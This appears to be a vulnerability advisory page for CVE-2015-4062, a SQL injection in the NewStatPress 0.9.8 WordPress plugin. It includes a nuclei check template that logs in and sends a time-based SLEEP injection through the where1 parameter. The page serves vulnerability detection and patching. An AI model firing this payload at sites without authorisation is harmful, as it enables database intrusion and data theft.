CVE-2015-4062· newstatpress project / newstatpress· CWE-89
WordPress NewStatPress 0.9.8 - SQL Injection
mediumseverity
6.5CVSS score
9.3%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
WordPress NewStatPress 0.9.8 plugin contains a SQL injection vulnerability in includes/nsp_search.php. A remote authenticated user can execute arbitrary SQL commands via the where1 parameter in the nsp_search page to wp-admin/admin.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
Fix
Update to plugin version 0.9.9 or latest.
How to confirm it
Send: POST /wp-login.php ; @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(body_2, "newstatpress_page_nsp_search")Run it with nuclei: nuclei -id CVE-2015-4062 -u <target>
The full check
id: CVE-2015-4062
info:
name: WordPress NewStatPress 0.9.8 - SQL Injection
author: r3Y3r53
severity: medium
description: |
WordPress NewStatPress 0.9.8 plugin contains a SQL injection vulnerability in includes/nsp_search.php. A remote authenticated user can execute arbitrary SQL commands via the where1 parameter in the nsp_search page to wp-admin/admin.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
remediation: |
Update to plugin version 0.9.9 or latest.
reference:
- https://packetstormsecurity.com/files/132038/
- https://wordpress.org/plugins/newstatpress
- http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html
- https://nvd.nist.gov/vuln/detail/CVE-2015-4062
- https://wordpress.org/plugins/newstatpress/changelog/
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:P/A:P
cvss-score: 6.5
cve-id: CVE-2015-4062
cwe-id: CWE-89
epss-score: 0.09292
epss-percentile: 0.95409
cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: newstatpress_project
product: newstatpress
framework: wordpress
tags: time-based-sqli,cve2015,cve,authenticated,sqli,wp-plugin,newstatpress,packetstorm,wordpress,wp,newstatpress_project,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 20s
GET /wp-admin/admin.php?where1=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&limitquery=1&searchsubmit=Buscar&page=nsp_search HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body_2, "newstatpress_page_nsp_search")'
condition: andReferences
- https://packetstormsecurity.com/files/132038/
- https://wordpress.org/plugins/newstatpress
- http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html
- https://nvd.nist.gov/vuln/detail/CVE-2015-4062
- https://wordpress.org/plugins/newstatpress/changelog/
Use this check only on systems you are authorised to test. Where the data comes from